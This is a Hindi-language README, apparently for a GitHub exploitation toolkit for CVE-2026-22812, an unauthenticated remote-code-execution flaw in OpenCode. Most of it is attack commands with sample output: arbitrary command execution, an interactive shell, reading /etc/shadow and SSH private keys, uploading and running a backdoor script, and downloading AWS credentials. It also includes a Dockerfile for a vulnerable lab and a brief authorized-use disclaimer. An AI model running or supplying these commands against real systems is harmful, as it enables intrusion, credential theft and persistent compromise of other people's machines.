
CVE-2026-22812 (OpenCode अनधिकृत RCE) के लिए शोषण टूलकिट, जो अधिकृत सुरक्षा परीक्षण के लिए इंटरैक्टिव शेल, मनमाना कमांड निष्पादन, फ़ाइल अपलोड/डाउनलोड और सिस्टम एन्यूमरेशन प्रदान करता है।
CVE-2026-22812 के लिए पूर्ण-विशेषताओं वाला एक्सप्लॉइटेशन टूलकिट - OpenCode अनप्रमाणित RCE
CVE-2026-22812 एक्सप्लॉइट टूल OpenCode अनप्रमाणित रिमोट कोड एक्सेक्यूशन भेद्यता के लिए एक व्यापक एक्सप्लॉइटेशन फ्रेमवर्क है। यह टूल कई एक्सप्लॉइटेशन विधियाँ प्रदान करता है जिनमें इंटरैक्टिव शेल, फ़ाइल संचालन और सिस्टम एन्यूमरेशन शामिल हैं।
# Clone repository
git clone https://github.com/rohmatariow/CVE-2026-22812-exploit.git
cd CVE-2026-22812-exploit
# Install dependencies
pip3 install -r requirements.txt
pip3 install requests urllib3
python3 exploit.py -t http://192.168.1.10:4096 --verify
आउटपुट:
[+] Target is VULNERABLE to CVE-2026-22812!
[+] Session ID: abc123def456
python3 exploit.py -t http://192.168.1.10:4096 -c "id"
आउटपुट:
[*] Creating session...
[+] Session created: abc123def456
[+] Target is VULNERABLE!
[*] Executing: id
[+] Command executed successfully
uid=1000(developer) gid=1000(developer) groups=1000(developer)
python3 exploit.py -t http://192.168.1.10:4096 -i
इंटरैक्टिव सत्र:
[+] Session created: abc123def456
[+] Target is VULNERABLE!
[*] Entering interactive shell mode
[!] Type 'help' for commands, 'exit' to quit
developer@target$ whoami
developer
developer@target$ pwd
/home/developer/workspace
developer@target$ ls -la
total 48
drwxr-xr-x 8 developer developer 4096 Jan 16 10:30 .
drwxr-xr-x 3 developer developer 4096 Jan 15 09:20 ..
-rw-r--r-- 1 developer developer 220 Jan 15 09:20 .bash_logout
...
developer@target$ read /etc/hostname
[*] Reading file: /etc/hostname
[+] File read successfully (10 bytes)
dev-server-01
developer@target$ exit
[*] Exiting...
# Single command
python3 exploit.py -t http://target:4096 -c "whoami"
# Complex command
python3 exploit.py -t http://target:4096 -c "ps aux | grep opencode"
# Multiple commands
python3 exploit.py -t http://target:4096 -c "cd /tmp && ls -la && pwd"
# Read sensitive files
python3 exploit.py -t http://target:4096 -r /etc/passwd
python3 exploit.py -t http://target:4096 -r /etc/shadow
python3 exploit.py -t http://target:4096 -r ~/.ssh/id_rsa
# Upload shell script
python3 exploit.py -t http://target:4096 --upload shell.sh /tmp/shell.sh
# Upload binary
python3 exploit.py -t http://target:4096 --upload payload.elf /tmp/payload
# Upload with execution
python3 exploit.py -t http://target:4096 --upload backdoor.sh /tmp/bd.sh
python3 exploit.py -t http://target:4096 -c "chmod +x /tmp/bd.sh && /tmp/bd.sh"
# Download configuration
python3 exploit.py -t http://target:4096 --download /etc/hosts ./hosts.txt
# Download credentials
python3 exploit.py -t http://target:4096 --download ~/.aws/credentials ./aws_creds.txt
# Download source code
python3 exploit.py -t http://target:4096 --download /app/config.json ./config.json
# Gather system information
python3 exploit.py -t http://target:4096 --sysinfo
आउटपुट:
{
"hostname": "dev-server-01",
"username": "developer",
"user_id": "uid=1000(developer) gid=1000(developer)",
"current_dir": "/home/developer/workspace",
"kernel": "Linux dev-server-01 5.15.0-91-generic x86_64",
"os_release": "Ubuntu 22.04.3 LTS",
"ip_address": "192.168.1.10",
"processes": "..."
}
npm install -g opencode-ai@latestpkill -f opencode# Dockerfile for vulnerable OpenCode
FROM node:18
RUN npm install -g [email protected]
EXPOSE 4096
CMD ["opencode"]
# Build and run
docker build -t opencode-vuln .
docker run -p 4096:4096 opencode-vuln
# Test exploit
python3 exploit.py -t http://localhost:4096 -i
# Install vulnerable version
npm install -g [email protected]
# Start OpenCode
opencode
# In another terminal, run exploit
python3 exploit.py -t http://localhost:4096 --verify
⚠️ भेद्य संस्करणों को कभी भी प्रोडक्शन में तैनात न करें!
ध्यान से पढ़ें
यह टूल केवल अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है।
लेखक:
इस टूल का उपयोग करके, आप सहमत हैं:
अपने जोखिम पर उपयोग करें
⭐ उपयोगी हो तो स्टार करें! ⭐
केवल अधिकृत सुरक्षा परीक्षण के लिए